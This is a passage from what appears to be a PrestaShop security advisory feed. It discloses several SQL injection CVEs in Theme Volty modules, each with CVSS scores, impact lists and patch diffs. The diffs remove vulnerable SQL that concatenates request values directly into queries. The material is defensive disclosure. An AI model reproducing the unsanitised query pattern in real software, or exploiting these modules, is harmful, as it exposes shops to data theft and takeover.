      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-08-02</td>
      <td>Contact Author to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-08-27</td>
      <td>Recontact Author to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-08-27</td>
      <td>Author replied us to stop communicating with him</td>
    </tr>
    <tr>
      <td>2023-09-21</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-27</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-28</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.presto-changeo.com/prestashop/home/158-test-site-creator.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-43980">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Test Site Creator” (testsitecreator) from Presto Changeo for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-39651] Improper neutralization of SQL parameter in Theme Volty CMS BrandList module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/09/26/tvcmsbrandlist.html" rel="alternate" type="text/html" title="[CVE-2023-39651] Improper neutralization of SQL parameter in Theme Volty CMS BrandList module for PrestaShop" /><published>2023-09-26T00:00:00+00:00</published><updated>2023-09-26T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/09/26/tvcmsbrandlist</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/09/26/tvcmsbrandlist.html"><![CDATA[<p>In the module “Theme Volty CMS BrandList” (tvcmsbrandlist) up to version 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39651">CVE-2023-39651</a></li>
  <li><strong>Published at</strong>: 2023-09-26</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: tvcmsbrandlist</li>
  <li><strong>Impacted release</strong>: &lt;= 4.0.1 (4.0.2 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Theme Volty</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The script ajax.php has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-401">Patch from 4.0.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.0.1/tvcmsbrandlist/ajax.php
</span><span class="gi">+++ 4.0.2/tvcmsbrandlist/ajax.php
</span>        $update_position[] = 'UPDATE 
                                        `' . _DB_PREFIX_ . 'tvcmsbrandlist` 
                                    SET
<span class="gd">-                                        `position` = ' . $pos . '
</span><span class="gi">+                                        `position` = ' . (int) $pos . '
</span>                                    WHERE
<span class="gd">-                                        `id_tvcmsbrandlist` = ' . $value . ';';
</span><span class="gi">+                                        `id_tvcmsbrandlist` = ' . (int) $value . ';';
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>tvcmsbrandlist</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-10</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-02-10</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-02-15</td>
      <td>Author provide a patch which still own all criticals vulnerabilities</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Recontact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-08-15</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-26</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/themes-electronique-high-tech/29992-electron-mega-electronique-high-tech-store.html">PrestaShop addons product page</a></li>
  <li><a href="https://themevolty.com/electron-mega-electronic-store">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39651">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Vitalyn.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Theme Volty CMS BrandList” (tvcmsbrandlist) up to version 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-39646] Improper neutralization of SQL parameter in Theme Volty CMS Category Chain Slider module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/09/26/tvcmscategorychainslider.html" rel="alternate" type="text/html" title="[CVE-2023-39646] Improper neutralization of SQL parameter in Theme Volty CMS Category Chain Slider module for PrestaShop" /><published>2023-09-26T00:00:00+00:00</published><updated>2023-09-26T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/09/26/tvcmscategorychainslider</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/09/26/tvcmscategorychainslider.html"><![CDATA[<p>In the module “Theme Volty CMS Category Chain Slider” (tvcmscategorychainslider) up to version 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39646">CVE-2023-39646</a></li>
  <li><strong>Published at</strong>: 2023-09-26</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: tvcmscategorychainslider</li>
  <li><strong>Impacted release</strong>: &lt;= 4.0.1 (4.0.2 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Theme Volty</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The script ajax.php has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-401">Patch from 4.0.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.0.1/tvcmscategorychainslider/ajax.php
</span><span class="gi">+++ 4.0.2/tvcmscategorychainslider/ajax.php
</span>        $update_position[] = 'UPDATE 
                                        `' . _DB_PREFIX_ . 'tvcmscategorychainslider` 
                                    SET
<span class="gd">-                                        `position` = ' . $pos . '
</span><span class="gi">+                                        `position` = ' . (int) $pos . '
</span>                                    WHERE
<span class="gd">-                                        `id_tvcmscategorychainslider` = ' . $value . ';';
</span><span class="gi">+                                        `id_tvcmscategorychainslider` = ' . (int) $value . ';';
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>tvcmscategorychainslider</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-10</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-02-10</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-02-15</td>
      <td>Author provide a patch which still own all criticals vulnerabilities</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Recontact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-08-15</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-26</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/themes-electronique-high-tech/29992-electron-mega-electronique-high-tech-store.html">PrestaShop addons product page</a></li>
  <li><a href="https://themevolty.com/electron-mega-electronic-store">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39646">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Vitalyn.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Theme Volty CMS Category Chain Slider” (tvcmscategorychainslider) up to version 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-39647] Improper neutralization of SQL parameter in Theme Volty CMS Category Product module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/09/26/tvcmscategoryproduct.html" rel="alternate" type="text/html" title="[CVE-2023-39647] Improper neutralization of SQL parameter in Theme Volty CMS Category Product module for PrestaShop" /><published>2023-09-26T00:00:00+00:00</published><updated>2023-09-26T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/09/26/tvcmscategoryproduct</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/09/26/tvcmscategoryproduct.html"><![CDATA[<p>In the module “Theme Volty CMS Category Product” (tvcmscategoryproduct) up to version 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39647">CVE-2023-39647</a></li>
  <li><strong>Published at</strong>: 2023-09-26</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: tvcmscategoryproduct</li>
  <li><strong>Impacted release</strong>: &lt;= 4.0.1 (4.0.2 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Theme Volty</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The script ajax.php has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-401">Patch from 4.0.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.0.1/tvcmscategoryproduct/ajax.php
</span><span class="gi">+++ 4.0.2/tvcmscategoryproduct/ajax.php
</span>        $update_position[] = 'UPDATE 
                                        `' . _DB_PREFIX_ . 'tvcmscategoryproduct` 
                                    SET
<span class="gd">-                                        `position` = ' . $pos . '
</span><span class="gi">+                                        `position` = ' . (int) $pos . '
</span>                                    WHERE
<span class="gd">-                                        `id_tvcmscategoryproduct` = ' . $value . ';';
</span><span class="gi">+                                        `id_tvcmscategoryproduct` = ' . (int) $value . ';';
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>tvcmscategoryproduct</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-10</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-02-10</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-02-15</td>
      <td>Author provide a patch which still own all criticals vulnerabilities</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Recontact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-08-15</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-26</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/themes-electronique-high-tech/29992-electron-mega-electronique-high-tech-store.html">PrestaShop addons product page</a></li>
  <li><a href="https://themevolty.com/electron-mega-electronic-store">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39647">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Vitalyn.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Theme Volty CMS Category Product” (tvcmscategoryproduct) up to version 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-39649] Improper neutralization of SQL parameter in Theme Volty CMS Category Slider module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/09/26/tvcmscategoryslider.html" rel="alternate" type="text/html" title="[CVE-2023-39649] Improper neutralization of SQL parameter in Theme Volty CMS Category Slider module for PrestaShop" /><published>2023-09-26T00:00:00+00:00</published><updated>2023-09-26T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/09/26/tvcmscategoryslider</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/09/26/tvcmscategoryslider.html"><![CDATA[<p>In the module “Theme Volty CMS Category Slider” (tvcmscategoryslider) up to version 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39649">CVE-2023-39649</a></li>
  <li><strong>Published at</strong>: 2023-09-26</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: tvcmscategoryslider</li>
  <li><strong>Impacted release</strong>: &lt;= 4.0.1 (4.0.2 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Theme Volty</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The script ajax.php has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-401">Patch from 4.0.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.0.1/tvcmscategoryslider/ajax.php
</span><span class="gi">+++ 4.0.2/tvcmscategoryslider/ajax.php
</span>        $update_position[] = 'UPDATE 
                                        `' . _DB_PREFIX_ . 'tvcmscategoryslider` 
                                    SET
<span class="gd">-                                        `position` = ' . $pos . '
</span><span class="gi">+                                        `position` = ' . (int) $pos . '
</span>                                    WHERE
<span class="gd">-                                        `id_tvcmscategoryslider` = ' . $value . ';';
</span><span class="gi">+                                        `id_tvcmscategoryslider` = ' . (int) $value . ';';
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>tvcmscategoryslider</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-10</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-02-10</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-02-15</td>
      <td>Author provide a patch which still own all criticals vulnerabilities</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Recontact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-08-15</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-26</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/themes-electronique-high-tech/29992-electron-mega-electronique-high-tech-store.html">PrestaShop addons product page</a></li>
  <li><a href="https://themevolty.com/electron-mega-electronic-store">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39649">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Vitalyn.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Theme Volty CMS Category Slider” (tvcmscategoryslider) up to version 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-39645] Improper neutralization of SQL parameter in Theme Volty CMS Payment Icon module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/09/26/tvcmspaymenticon.html" rel="alternate" type="text/html" title="[CVE-2023-39645] Improper neutralization of SQL parameter in Theme Volty CMS Payment Icon module for PrestaShop" /><published>2023-09-26T00:00:00+00:00</published><updated>2023-09-26T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/09/26/tvcmspaymenticon</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/09/26/tvcmspaymenticon.html"><![CDATA[<p>In the module “Theme Volty CMS Payment Icon” (tvcmspaymenticon) up to version 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39645">CVE-2023-39645</a></li>
  <li><strong>Published at</strong>: 2023-09-26</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: tvcmspaymenticon</li>
  <li><strong>Impacted release</strong>: &lt;= 4.0.1 (4.0.2 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Theme Volty</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The script ajax.php has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-401">Patch from 4.0.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.0.1/tvcmspaymenticon/ajax.php
</span><span class="gi">+++ 4.0.2/tvcmspaymenticon/ajax.php
</span>        $update_position[] = 'UPDATE 
                                        `' . _DB_PREFIX_ . 'tvcmspaymenticon` 
                                    SET
<span class="gd">-                                        `position` = ' . $pos . '
</span><span class="gi">+                                        `position` = ' . (int) $pos . '
</span>                                    WHERE
<span class="gd">-                                        `id_tvcmspaymenticon` = ' . $value . ';';
</span><span class="gi">+                                        `id_tvcmspaymenticon` = ' . (int) $value . ';';
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>tvcmspaymenticon</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
